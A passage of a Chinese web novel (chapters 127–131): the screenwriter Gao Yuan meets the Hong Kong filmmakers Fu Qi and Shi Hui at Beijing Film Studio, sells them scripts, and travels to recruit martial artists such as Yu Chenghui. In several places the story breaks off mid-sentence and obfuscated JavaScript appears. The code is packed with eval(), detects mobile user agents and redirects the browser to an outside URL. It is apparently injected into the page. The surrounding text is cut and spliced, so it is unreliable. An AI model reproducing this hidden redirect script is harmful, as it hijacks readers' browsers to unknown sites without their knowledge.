“看到老厂长精神矍铄,我也很高兴。”石慧也四十多岁的人了,五官仍旧明艳大气,气质让人见而忘俗。 汪阳哈哈大笑,眼神一扫,全场对两人的到来给予热烈的掌声。 这两口子也对大家微笑颔首。 傅奇说:“大家太客气了,太热情了,我们两个今次回国,切身感受到了国家电影事业的蓬勃发展,由衷感到欣喜若狂啊。” 这人说话文绉绉的,有一股子书生味道。 高远打量着二位,低声对江淮延说道:“江老师,这是你们口中说的那个傅奇同志吗?我怎么感觉他不像个演员,更像个大学教授呢。” 江淮延一笑,说道:“你的意思是说,傅奇同志很有文人气质是吧?” 高远点头说是。 “你小瞧他了,别看他文绉绉的,但一身傲骨啊。67年,港岛一家塑料花厂和工人发生冲突,引发了**潮,逼得工人同志们走上街头跟警察对峙,这事儿整整持续了半年。 工人同志们的领导者就是傅奇和石慧两位同志。”江淮延低声说道。 高远瞪大了眼睛,满脸不可思议,又问:“后来呢?” “后来啊,港英政府为平息事态发展,要将这对贤伉俪送去宝岛关押起来,傅奇同志当场表态:谁送我去宝岛,得到的会是一条尸体! 港英政府没招,又想把二人遣送回大陆,这对夫妻携手站在罗湖口岸,死活不肯走。 政府官员没办法了,只得把他们二人关进监狱,长达一年之久。” “哎呀,这对贤伉俪一身傲骨啊!” “可不是咋的,所以说,人不可貌相嘛。” 傅奇、石慧被汪阳邀请,坐在了会议桌上首。 “咱们就是随意聊聊啊,没啥开大会的意思,厂里的同志们听说你们二位同志回京来了,都急切地想要跟二位见个面聊一聊,叙叙旧。 在座的诸位老傅和小石也都不陌生,我就不多做介绍了。 咱有啥说啥,想到哪里谈到哪里,畅所欲言吧。”老厂长先做了开场白。 傅奇笑着说道:“这样最好,我和石慧一进门,扫了一圈后发现,全是熟人,瞧着有几个面生的,也是厂里的新生力量吧?厂里这些年发展得很快啊。” 汪阳脸上掩饰不住的笑意飘散开来,道:“社会是不断向前发展的嘛,厂子的发展也要顺应这个规律,进新人,培养新生力量逐步挑起制片厂的大梁,电影事业后继有人了,才会越来越辉煌。” “老厂长这话说得对,您高瞻远瞩,由您掌舵,北影厂会越来越红火的。” “老傅你过誉了,你们最近怎么样?我听说,形势有点艰难啊?” 傅奇叹声气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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石慧歪着头问汪阳道:“这小伙子是谁呀?” 石慧是江南人,说话自带吴侬软语,还带着一股子俏皮。 汪阳笑着提高点儿音量,介绍道:“这小子叫高远,我不知道你俩看没看过《瞧这一家子》,这片就是小高写的。他最近又弄了个武打片,叫《太极宗师》。 我拿过去给廖公瞧过了,廖公非常喜欢啊。” 傅奇眼睛一亮,说道:“难怪廖公指示我们,要拍一部《少林》出来,结果根子在这里啊。小高同志,你这部太极,才是催生我们那部《少林》的根本呀。 你想问什么?尽管问,我知无不言!” 水华瞪着眼**了。 高远笑着说:“傅老师、石老师,先自我介绍一下,我叫高远,是厂里外聘的编剧。 因为对港岛的电影事业不了解,所以才冒昧发问,我也没啥好问的,只是对您说的这个自由总会有点兴趣,自由总会到底是个啥组织?” 傅奇闻言苦笑道:“我且叫你小高同志吧,自由总会,是宝岛成立的一个组织,它驻扎在港岛,以引进港片如岛为己任,拉拢港岛各方电影制片企业,以此跟左派电影相抗衡。 其目的是为了…… 说白了,是为了蒋家王朝的复兴、**而服务! 这方面我就不多介绍了……” 第127章 是你先惹我的 石慧接茬说道:“我们和自由总会斗了很多年,之前,大编剧、大导演、大演员我们一样不缺,占尽优势,杀得自由总会溃不成军。 但今时不同往日了。 那场风波过后,我们回过头来一看,香港电影已经进入了商业化生产的年代。 换句话说,一切以票房为基础。 宝岛当局者对自由总会的扶持力度加大,自由总会拉拢港岛的名导、大编剧和明星演员加入他们的阵营,跟我们抗衡。 因为宝岛是港片最大的市场,那些名导、编剧、演员们不加入他们就没工开,没饭吃。 只有成为了自由总会的一员,自己拍摄制作,参与出演的电影才有资格在宝岛放映。 这叫什么来着?” 高远笑道:“投名状。” 石慧呵呵一笑,道:“没错儿,小伙子脑瓜就是灵光,叫投名状。还有公开拍马屁的,公然**的,总之烂事一大堆,他们的目的却是一致的。 向自由总会示好,让自己拍摄制作的影片顺利进入宝岛市场。 说起来,这个自由总会的主席在座的各位也不陌生。” **雄立刻问道:“哦?是哪位鼎鼎大名的人物啊?” 石慧哼了一声,回答道:“童月娟!” “哦,是那个狗特务啊。了解,她原名叫万秀英,别名叫梁瑞英,出生于浙江临安,后去明珠发展,再后来带着明珠新华公司叛变投敌,是个人见人厌的玩意儿。”孙文今给大家做了童月娟的科普。 “这位童会长一人三个姓儿,这不跟吕布似的,见人就拜干爹,是个三姓家奴么。布飘零半生,只恨未逢明主,公若不弃,布愿拜为义父巴拉巴拉,结果拜谁谁倒霉。”高远又接上话了。 大家哈哈大笑。 傅奇、石慧两口子也笑了起来。 越发瞧这家伙顺眼了。 汪阳对两口子说道:“你俩别见怪啊,这小子是土生土长的老BJ孩子,没别的毛病,就是嘴贫。” 傅奇笑着说:“挺好的,年轻人嘛,犯贫不叫毛病,就应该充满火一样的热情。” 石慧问他道:“刚才我听老厂长说,你写了个关于太极拳的剧本,方不方便拿给我看一看?” 高远踯躅,望着老厂长,这是征求他的意见。 汪阳笑道:“石慧同志太客气了,这有什么不方便的,这小子不光写了个太极,还弄了个龙腾虎跃……那个谁,小林,你去我办公室,从抽屉里把高远写的那俩剧本拿过来,给傅奇和石慧同志看一看。” 小林也不小了,快四十的人了,是厂办副主任。 他听到招呼,立马起身出门,不大会儿拿了俩剧本回来,给傅奇、石慧各递上一本。 两人没着急看,因为今天来北影厂,主要是为了做交流的,剧本回头再仔细研究也不迟。 汪阳对大家说道:“我把傅奇同志、石慧同志请过来不容易,机会难得,你们有什么想问的问题抓紧问,都别装闷嘴葫芦了。” 大家当然知道跟香港同行进行交流机会难得了,这不是老厂长你刚才一直把控着谈话节奏,我们没机会提问么。 立刻有导演问道:“傅奇同志,左派处境如此艰难,你们考虑过今后要如何发展吗?” 傅奇叹声气,说道:“怎么可能不考虑啊,长城、新联、凤凰三家公司承载着国家电影事业在港繁荣兴盛的重任,目前虽然困难重重,但我们仍然有信心,有能力从头开始,在敌人的围追堵截下杀出一条血路来。 至于说今后如何发展? 这个问题问得好。 我和石慧同志应高部长邀请,回京过年,其实也是回京求助来了。 今天我不就求到北影厂门上来了么。 呵呵…… 应廖公的要求,我们要制作一部《少林寺》,同志们也知道左派当前面临的境遇,人手不足,公司全靠几位老同志撑着。 导演只剩张鑫炎一个了。 所以,我希望这部片子能得到国内制片厂同仁们的支持。 尤其是北影厂同仁们的支持。 我相信,只要《少林寺》成了,我们左派就会重新打开局面的。” 那位导演点点头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402308|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表示明白了。 高远问道:“傅先生,去年上映的港片中,票房冠军是哪一部?” 傅奇挺惊讶这个年代中,居然有人关心香港电影的票房冠军。 他还没来得及回答,水华又不阴不阳地说道:“什么票房?什么冠军?我说你这位小同志是怎么回事啊?瞧瞧你关注的都是些什么东西? 拍电影只是为了多挣钱夺冠军吗? 你资产阶级思想严重!” 高远小吃一惊,然后满脸单纯地反问道:“那我要请教水导您了,您认为,拍电影不为了多挣钱,同志们吃什么喝什么拿什么贴补家用? 不为了夺冠军,国家为什么要专门设置了电影奖项,要评先创优? 您给我扣资产阶级思想严重的帽子,我是不是也能给您扣一顶和国家改革开放政策方针背道相驰的帽子呢?” 咝! 水华倒吸了一口狗皮帽子,目瞪狗呆望着这个牙尖嘴利的年轻人,一时间张口结舌面红耳赤无力反驳。 这孙子太残暴了,一言不合就送帽子! 这时候,黄健中跳了出来。 他笑呵呵说道:“高远同志这话不对,我们这些电影工作者,首先要对艺术负责,要注重影片的思想性和内容高度。” 高远也笑了,“那我问你,你拍出来的片子有人看吗?” “我……草!” 黄健中,卒! 玛戈璧的,总有那么几个不长眼的非要跳出来惹兄弟生气! 高远瞧着他那一脸衰样,心说这可是你自找的,你别怪我揭你老底儿不给你留脸。 石慧这时候笑着打圆场道:“哎呀,大家就别争论这个问题了。刚才我也介绍过了,香港电影界现在就是这种风气,一切以票房为衡量一部影片是否受群众欢迎的衡量标准。 小高问去年的票房冠军是哪部影片,我反倒认为他眼光超前。 我来回答你这个问题吧,去年港片的票房冠军是嘉禾和许氏影业出品,由许氏三兄弟主演的武打动作喜剧片《**契》。 这部片子卖了782万港币。” 第128章 醉来豪气不可收,嘘作长虹唤斗牛! 高远点点头表示明白了,又问道:“现在港岛最红的影星是成龙吗?” “你还知道成龙?” “学校组织看过内参片,就是成龙主演的《蛇形刁手》,他那跟独头蒜一般的大鼻子让我印象深刻,一套蛇拳打得也行云流水。” 石慧抿嘴笑了,点头道:“确实,成龙的鼻子很有特色。他虽然称不上全港最红,却也是公认的新生代功夫明星。 《醉拳》相信大家都看过了,他这部影片在日本拿下了19亿日元的票房,在韩国有80多万观众看过。” 大家齐刷刷地吸凉气。 什么最直观? 数据最直观! 一部电影创造的价值是会给人带来巨大冲击力的。 所以,当石慧嘴里吐出,782万港币,19亿日元这两组数据后,大家震惊了。 高远却在心里嘲笑这帮人没见识。 哥们儿回来之前,《哪吒2》全球累计票房都过百亿了。 当然,后世跟现在肯定无法同日而语。 这里面也蕴含着国家强大的因素,不多讲。 “谢谢您的解答,我知道了。” 高远心里有了数,左派发展的出路或许就在于武打片。 这也是傅奇、石慧急匆匆回京的主要原因吧。 石慧朝他一笑,扭头对老厂长旧话重提:“《少林寺》还得取得您老的鼎力支持才行啊,不然我们放不下心离开呀。” “不是说鑫焱同志过几日要回来挑选演员嘛,支持在港同志的工作我们自然义不容辞,等他回来,需要我们怎么配合,只管提出来就是了。” 老厂长不愧为老**,这思想境界光芒万丈! 几位导演、演员又问了夫妻俩几个问题,座谈会就结束了。 大家呼啦啦往外走。 江淮延笑着说道:“小高,你今天可把水导气得不轻,你瞧他这脸色,黑漆漆的,都能刮下一层灰来。” 高远嘁了声,道:“江老师您实话实说,这事儿怪我吗?我没得罪过他吧,他不就是仗着老资格瞧我不顺眼故意找茬么。 他都主动把脸凑上来让我抽了,我不狠狠抽两巴掌对得住他这一番提携后辈的好心吗?” 江淮延叹声气,道:“你啊,就不是个忍气吞声的人……算了,我也别跟你说这个了,说了你也不改。” 此时,汪阳喊了一嗓子:“小远子,你到我办公室来一趟。” 高远连忙应了一声,顶着各种意味深长、羡慕嫉妒恨的目光大步走出会议室。 他一点都不在乎别人怎么评价他、看待他。 他又不是北影厂的正式职工,今天来参加这个座谈会也是为了自己那点儿私心。 要不然,他连面都不会露。 有些话还得在私底下谈。 高远走进厂长办公室,见屋里只有老厂长和傅奇、石慧三个人了,就知道现在才是谈正事的时候。 石慧笑着向他招手,“年轻人过来,挨着我坐。” 高远走过去,笑嘻嘻在她身边坐下来,说道:“老师好。” “别,我可担不起你这声‘老师’,我刚从老厂长嘴里得知,你还是北大中文系的在读生呀,教授你知识的老师们都是文坛大前辈,我无法与之相提并论。 小伙子,我年长你20多岁,你喊我一声阿姨吧。” “哎哟,那是我高攀了。” 石慧一笑,道:“不存在谁高攀谁,老厂长一个劲儿向我们夫妻俩推荐你,说你是年轻人中难得一见的文学奇才,目前手里这个《太极》的项目正在积极推进中。 你走在了我们的前面啊。 我还听老厂长介绍说,你有将《太极宗师》这部影片出海的想法,没错吧?” “没错石阿姨,从刚才您和傅……傅叔叔的讲述中我发现了,武打片在香港深受广大人民群众的喜爱,在日本、韩国,甚至东南亚国家同样有着巨大的市场。 这让我更坚定了《太极宗师》出海的想法。”高远说道。 汪阳一笑,点头道:“当时这孩子提出让武打片在海外上映时,我还觉得简直是胡闹,是异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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荣王爷此人善饮,越喝越兴奋,下盘功夫极稳,拳掌双绝,擅使兵器! 你在剧本中有诗云:醉来豪气不可收,嘘作长虹唤斗牛! 妙极啊妙极!” 第129章 嘿,挣外汇了 见傅奇满脸兴奋的样子,高远也乐了,道:“您过奖了。” 闯关游戏嘛,在后世的影视剧中属于非常普通的剧情设置。 主角一关一关地打过去,敌人从弱到强,同时要展现不同风格、不同流派的武功风格。 最后把最强大的那个敌人掀翻在地。 这个套路在后世影视剧成熟期被翻来覆去地使用。 观众还就好这一口儿。 因为热血沸腾啊。 打个比方说:张无忌怒上光明顶,带着一往无前孤身赴死的崇高精神去解救被六大门派**的明教诸位英雄好汉。 虽然被灭绝那老尼打得吐血,但看起来就是爽啊。 插一句,我还是最喜欢94年咆哮教主马景涛那一版,虽然他演技不咋地,生气就是嚎叫,开心就是咧嘴笑,可是周海媚饰演的周芷若真的天生媚骨又英姿飒爽。 这时候,石慧也拿着高远的《龙腾虎跃》剧本翻看起来,边看边说道:“这个本子也不错,讲一个为父报仇的故事,故事框架虽略显单薄。 妙也就妙在剧情简单不复杂,不存在观影障碍,打斗描写得也精彩。 剧本的完整性也很高,拿过来就能拍。 老厂长,就是不知道您愿不愿意忍痛割爱?” 汪阳乐了,看一眼高远,见他也微微张着嘴,一副吃惊的样子,便指着他道:“既然石慧同志开口了,我自然是愿意支持港岛同志的工作的。 就是这个钻钱眼儿里的小子,把这个本子卖给我时,讹了我整整两千块。 你不能让我赔本吧?” 石慧笑呵呵地说道:“怎么可能让您赔钱呢,我做主了,我们提高收购价格,给您2000港币,再给小高额外支付1000块钱。” 抱歉,我没查到当年具体兑换汇率,但这年头港币比人民币更值钱是一定的。 汪阳微微点头道:“我就知道你是个爽快人,剧本你们拿走吧。” 高远也搓着手呲牙直乐,问道:“石慧阿姨,额外给我的那1000块辛苦费,是用人民币支付啊,还是用港币支付啊?” 这就挣到外汇了? 也太easy了。 驻港国企的领导们真是太大方,太客气了。 石慧笑着说:“自然是用港币支付了。” 高远点头表示明白了,笑容灿烂得如一朵盛开的雏菊。 他又嘀咕了一句:“就是不知道能不能从银行里兑换出侨汇券来。” 这年头儿,外汇劵鼎鼎大名,但在外汇劵被平头百姓眼热之前,侨汇券才是真正的王。 你家里有个海外关系,给你寄了些钱来,你去银行取钱,银行会按照当前汇率给你兑换成人民币,还会配给一定额度的侨汇券。 侨汇券牛逼啊,你拿着它能去友谊商店、华侨商店买东西。 高远心心念念惦记着的21寸黑白大彩电,在友谊商店购买,只要有侨汇券,不要票。 石慧没听清他嘀咕什么,问道:“你刚才说啥?” 高远压下了那点儿小心思,摆摆手说道:“没啥没啥,就是琢磨着,要不要再写两个本子。” 石慧微笑着问道:“我看你比较擅长写这种武打类型的故事片,是因为个人喜好吗?” “不是,是因为好写,不费脑子。”高远实话实说。 汪阳和傅奇、石慧两口子都笑了起来。 高远见两人似乎有点误会了,连忙补充道:“其实,您让我深刻,我也能深刻,但是创作周期就会延长了。另外,定制文得加钱。” “你这个小家伙儿,还真是心里咋想就咋说,好好好,我挺喜欢你这种爽快性格的。写吧,只要你能创作得出来,我们就收。”傅奇立刻表态道。 高远忙不迭点头说好。 又一张长期饭票到手了。 这才是他今天来参加这个座谈会的主要目的。 他心里太清楚了,上辈子,随着《少林寺》的热映,引起了一阵武打片的跟风潮。 各家电影制片厂都在拍摄同类型、同题材的影片,《武当》《自古英雄出少年》《无敌鸳鸯腿》之类的。 故事的结局基本上大同小异,皆为男的出家,女的流泪。 主打一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高雅一看两人这腻乎劲儿,便蹁腿上了车子,说道:“好了,人我给你小子安全送过来了,你俩聊吧,我走了。” 说完她就走,一点都不带犹豫的。 高远从李健群手里把包接过来,问道:“一路上挺累的吧?” 李健群边走边说:“还好呀,已经习惯了。” “那事儿,你跟爸妈提过没?” “嗯,简单提了一下。” “二老什么意见?” 李健群望他一眼,掩饰不住的一乐,轻声说道:“嫌你岁数小呢。” “啊?”高远傻眼了,片刻后他反应过来,被姐姐戏耍了,没皮没脸地嘿嘿笑道:“你没跟二老说么,小有小的好处啊,有相关统计数据显示,男人普遍比女人寿命短。 你找个小的,我多活两年,咋俩一扯呼,虽然不能同年同月同日生,赶巧了却能同年同月同日死。” 李健群脸一红,打他一下,说:“大过年的,说点吉利话不行吗?扯什么生啊死的。” 高远也是嘴欠,又突然想起健群姐上辈子的悲惨境遇来,心里暗下决心,说什么这辈子也得把她的身体健康放在首位了。 一年两次体检,这是最起码的。 就这么办,嗯。 他把人送上楼。 李健群见他若有所思的样子,问道:“怎么了?感觉你的情绪突然低落了。” 高远凝视着她,故意叹声气,道:“还不是被你吓的,说什么叔叔阿姨嫌我岁数小,弄得我这心里……怎么形容呢? 生出了一种,嗯,君生我未生,我生君已老。 君恨我生迟,我恨君生早。 日日思君不见君,哪来**岁月静好的悲凉感。” 李健群被他逗乐了,伸出小脚踢他一下,道:“这都什么跟什么呀,你啊,就会胡编乱造,那两首诗是能被这么串在一起用的吗?” “你管那个呢,合辙押韵,能表达我对你深深的爱恋之情就行。” “好吧,算你过关了。我父母说了,支持咱俩先谈着,也欢迎你抽时间去家里做客,这下你放心了吧?” “嗯嗯嗯,放心了放心了,我会尽快抽时间去拜见我未来的岳父岳母大人的。你屋里人多,我就不进去了啊,一路长途跋涉的,你也好好休息休息。” “也好,估计这会儿她们都回来了,你不想跟她们见面那就别见了。” 高远牵着她的手,趁她愣神儿之际飞快地在她娇艳红唇上蜻蜓点了下水,把包塞进她手里转身就跑。 李健群摸摸嘴唇,羞涩地跺了下脚,望着他飞奔离去的身影,双眸似水,脸红似霞。 高远进了自己那屋。 403房间现在已经成为他的专属创作基地了。 这孙子一副偷鸡得逞的骚狐狸表情,笑得嘴都瓢了。 别说搞创作了,搞事情的心思都烟消云散了。 他像个二傻子一样坐在床沿上,舔舔嘴唇,唇角边还残留着鲜花一般的芬芳。 高远吹了声口哨,哼唱道:一个是阆苑仙葩,一个美丽无暇啊,一个挑着担,一个骑着马…… 时间飞快,转眼正月初六。 阳历2月2号。 开年两件大事,一是中美正式建交,二是《告宝岛同胞书》正式发布。 举国欢庆! 对高远来说,最高兴的莫过于他又要体验公费旅游的快乐了。 上次去济南,是他和李文化两个人。 这次多了个高跃林。 为什么要拽着小叔一起去呢。 原因很简单,哥们儿都是能挣外汇的大编剧了,带个跟班鞍前马后的伺候着不应该吗? 当然,这话他只能在心里琢磨,可不敢跟小叔说,说了就是倒反天罡,是大逆不道,是不忠不孝。 还有一点很重要,小叔会来事儿,无论男的女的老的少的,结婚的没结婚的离婚的没离婚的,结了又离离了又结的,**的搞破鞋的,他只要一接触上,跟谁都能打成一片。 这次去大西北,见的人分量太重了,实话说,高远没有十足的把握将其拿下,带着小叔,也相当于再上个保险。 火车一路向西,咣嗤了三天两夜后才抵达银川。 三人下了火车,又辗转找到宁夏武术队,费了老鼻子劲才见到了中国最后一位剑圣——于承惠老师。 于承惠四十来岁,说起来跟于海渊源很深。 两人是老乡,都出生于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402311|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山东烟台市。 虽说两人就读于不同的武术院校,但学的都是螳螂拳。 也早已相识,趣味相投,自然就成了朋友。 此刻他坐在办公室里,目光犀利,挑着眉梢,像前沿观察哨的哨兵一般打量着高远三人。 高远也在打量他,个头不高,但极为壮实,双手环胸做出防御姿态,一脸络腮胡,且胡须很长,前脑门儿锃光瓦亮,后脑门儿留着长发,身上裹着件羊皮袄子,穿一条黑色老棉裤,脚下蹬着双千层底儿,雪白的布袜子颇为惹眼。 这股子不怒自威的气势,像极了华山派的开山老祖风清扬,而不是淘·假货·宝马芸。 竟让见惯了大场面的李文化都忍不住打了个哆嗦。 但李文化又像是电车痴汉偶遇隔壁太太,目光中流露着一股子见色心喜、垂涎欲滴。 这形象,这气质,活脱儿就是端王本王! 要是不把此人拉进剧组,暴殄天物啊! 高跃林甚至不敢与之对视。 擅长交际的小叔难得有认怂的时候,这会儿却被于承惠与生俱来的强大气场震慑得瑟瑟发抖起来。 “你们仨……”于承惠观察片刻后开口了,“身上够味儿的,我这隔着老远就闻到了,呛鼻子。” 噗嗤! “哈哈哈哈……” 高远哄然大笑,他也没想到于承惠一张嘴先来了这么一句,猝不及防啊。 他冲于承惠抱抱拳,咧着嘴说道:“先给您道个歉,我们仨初六一早上的火车,紧赶慢赶三天两夜抵达了贵宝地,火车上啥情况我想您走南闯北的应该很熟悉。 白天还好一些,一到晚上,打呼噜放屁的,磨牙抠脚丫子的,混杂着烟味儿酒味儿和老娘们儿们的狐臭味儿,半大孩子们抠屁股的味道。 这三天火车坐下来,哎呀,可不身上都馊了么,让您的鼻子跟着我们仨遭罪了。” 于承惠也乐了,一抬手打断了他,问道:“你是编剧吧?” 高远说是。 “你别展开来描述了,我这脑子里都有画面了。难怪你能当编剧啊,讲故事的水平盖了帽了!”于承惠冲高远竖起根大拇指来。 第131章 小叔立大功 于承惠是个很有个性的人,他的个性全都浸淫在武术研究一道中。 因此,对李文化和高跃林的态度就有点冷淡。 李文化不以为意,笑着说:“于教练您好,我们为了见您一面,千里迢迢赶来,就不说虚的了,我们北影厂正在筹拍一部武打片,在全国找练家子。 得知您武艺高强,形象上也非常适合饰演剧中的一个人物,便来登门拜访,不知道您感不感兴趣?” 于承惠摇着头,吐出四个字来:“不感兴趣。” 这在预料之中。 习武之人,尤其是老一辈武术家,普遍对自身从事的职业有着超乎寻常的专注力,以弘扬中国传统武术,为国争光为己任。 很看不上这些把老祖宗、老前辈传下来的真功夫改得乱七八糟,搬上荧幕去糊弄观众的所谓电影人。 李文化不死心,急切地说道:“您先别急着拒绝,给我个机会给您讲讲戏如何?” 于承惠点点头,不论如何,人家大老远跑这一趟,可谓是诚意满满、盛意拳拳了。 等他讲完,自己招待一顿饭,把人打发走,也就算给足面子了。 于是,李文化开始从各方面讲述《太极宗师》的故事,什么家国情怀啊,什么弘扬武术精神啊,什么只要拍出来,能够为国家增光添彩啊之类的。 总之,只要是高大上的说辞他就一个劲儿往上整。 主打一个你不拍是你的损失。 于承惠笑呵呵听着,很有耐心的样子。 但眉宇间微微蹙起的皱纹却让高远察觉到了他那一丝不耐烦。 这个老李,瞎白话了一套,没一句说到点儿上。 他朝小叔递了个眼神儿。 高跃林心领神会,微微点头,等李文化不再絮叨了,于承惠刚想再次开口拒绝,才笑着说道:“于教练,我听说您自创了一套螳螂穿林剑法?” 于承惠双眼一亮,看向他,“你知道我这套剑法?” 按照年龄来说,于承惠比于海大了几岁,两人虽都属于螳螂一门的传人,却并不是嫡亲的师兄弟关系。 也就是说,拜的不是一个师傅。 于承惠在六几年时参加比赛导致腿部受伤,退出了武术队,去了一家机械厂上班,但却没扔下功夫。 他利用业余时间遍访全国各地实战高手,认真钻研古籍,在螳螂拳的基础上独创了一套双手剑法,名曰:螳螂穿林剑。 解释一下,所谓双手剑法,并不是双手各握一把剑,而是双手握着一把大剑。 他现在担任宁夏武术队的总教头,一腔子雄心壮志,只想参加全国武术比赛,将他这套自创的螳螂穿林剑法发扬光大。 所以,他才对拍电影之类的不感兴趣。 高跃林笑笑,点头道:“自然是听说过的,您看,如果我们允许您在电影中展现这套剑法,您愿意加入我们这部电影的拍摄吗?” 于承惠腾地站了起来,“此话当真?” 他缺的就是机会,运动会期间,各类全国性大赛早已停办多年,这刚解禁,还没听说啥时候恢复举办。 于承惠心急如焚。 高跃林又一笑,说道:“导演和策划都在这儿呢,我还能信口开河欺骗您不成? 我简单给您介绍一下剧情吧。 在这个故事中,我们设置了一座七雄塔,每一层都有一位武林高手坐镇,您饰演的这个角色叫端王爷,是个大反派,一个武痴,也是网罗这些天下高手的总召集人。 被您网罗来的这几位高手分别会展示拳法、摔跤、棍法、跆拳道、硬气功、瑜伽术、忍术等功夫。 瑜伽术和忍术您当个笑话就成,拍电影嘛,多少还是需要一点艺术加工的……” 没等他把话说完,于承惠就摆摆手打断了他,道:“不不不,同志,你这话不对,印度的瑜伽术和日本忍术是真实存在的,我就遇到过此二道中的高手。” 这话说得高跃林反倒不知该怎么接了。 他尴尬一笑,反应还算迅速,道:“那是我见识少了,您别见怪。我继续说,本剧男主角来闯塔,是为了向你讨要解药以救师父性命。 他必须一层一层地往上打。 而守塔的最后一位高手,就是您——端王爷! 主角只有把您打败了,才能顺利拿到解药!” 咝! 于承惠倒吸了一口螳螂穿林剑,目光愈发明亮! 什么叫说到点儿上? 这就叫说到了点儿上。 你得说点儿他喜欢听的,能让他兴奋起来的东西,才能打动他。 高跃林当当当一顿输出,一句废话都没有,每个字儿都敲在了于承惠的心尖尖上。 简而言之:我们跑遍全国,千辛万苦找来那么多练家子,到最后全为了衬托您这个大Boss! 于承惠感受到了三人对自己发自内心的尊敬,朗声说道:“你们这又是让我展示双手剑,又把我捧得如此高,看来我不答应是不行了。 好,我参加!” 高远连忙说道:“那就一言为定了。” “习武之人,一口唾沫一颗钉,高策划放心就是了,我既然答应了就不会反悔!”于承惠斩钉截铁道。 又搞定一位。 并且是分量最重的一位。 于承惠热情地邀请三人共进晚餐。 吓得高远连连摆手表示还得赶路肚子不饿,谢谢谢谢。 李文化也说:“您就别客气了,我们得继续赶路,已经定好火车票了。” 于承惠颇为惋惜道:“京城来的同志就是廉洁啊,连顿饭都不肯吃,太为我们地方上着想了,这让我说什么好啊。” “您啥都别说了,等您去了京城,咱们有的是时间喝酒吃饭。” 高远心说,廉洁个嘚儿啊,我是知道你们这些习武的喝起酒来不要命,我真不敢上酒桌啊。 约定好进组日期,三人告辞。 出来后饿得前胸贴后背。 高跃林不解地问道:“人家于教练那么热情地留饭,咱们干嘛不吃?我看你俩好像很抗拒似的。” 李文化苦笑道:“老弟,这你就有所不知了,我和高远去济南面见于海教练,谈完后他安排了顿午饭,一个人把我俩灌得一下午没爬起来。 这帮练家子,上了酒桌真跟大牲口似的,恨不得把脸怼在酒碗里喝。 他敬你酒,你不喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15402312|168726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是看不起他。 你兹要是喝,就完犊子喽,三四天缓不过那个劲儿来。” “酒量这么牛吗?” “你以为呢。” 高跃林一缩脖子,道:“这么说的话,你俩的决定是对的,坚决不能跟他们喝。但是咱还饿着肚子呢,我听说宁夏的滩羊味道不赖,咱仨喝羊汤去吧。” 高远一努嘴,道:“巧了,马路对面就有一家羊汤馆,咱去尝尝?” 李文化比谁都快,“尝尝,尝尝。” 这是一家回族大哥经营的羊汤馆。 三人要了三碗大份的羊汤,一斤羊油大饼,找了个空座大快朵颐。 羊汤汤底奶白鲜美、醇香浓郁,羊肉切得菲薄,瘦肉连着白筋没有一丝膻味儿,很有嚼劲儿。 吃一片肉,喝一口汤,咬一口饼。 舌与肉的纠缠,肉与味蕾的翻滚,满身大汗,满口留香。 三人只觉,人生太值了! 吃完这顿饭,又奔火车站,坐晚班的火车赶赴太原。 高远提议说:“咱要不先找个澡堂子泡一泡吧,就像于教练说的,这身上也太味儿了。” “算了吧,还得挤火车,依我看咱就别那么讲究了,到了太原再洗吧。”李文化说道。 “唉……匆忙,太匆忙!这他妈一点公费旅游的乐趣都木有啊。”高远感慨道。 引得两人哈哈大笑。 咣当咣当。 又是一天一夜后,出差三人组顺利抵达太原,这次的目标人物叫熊欣欣。 熊欣欣比高远还小两岁,三人跟他见面聊了聊,首先他表现出对拍电影的浓厚兴趣。 只要有兴趣就好。 又跟他教练谈了谈。 教练显然是得到上级领导指示的,当即表示非常支持电影事业发展,只要队员本人同意,武术队无条件放人。 很轻松就搞定了。 三天后,三人出现在临安街头。 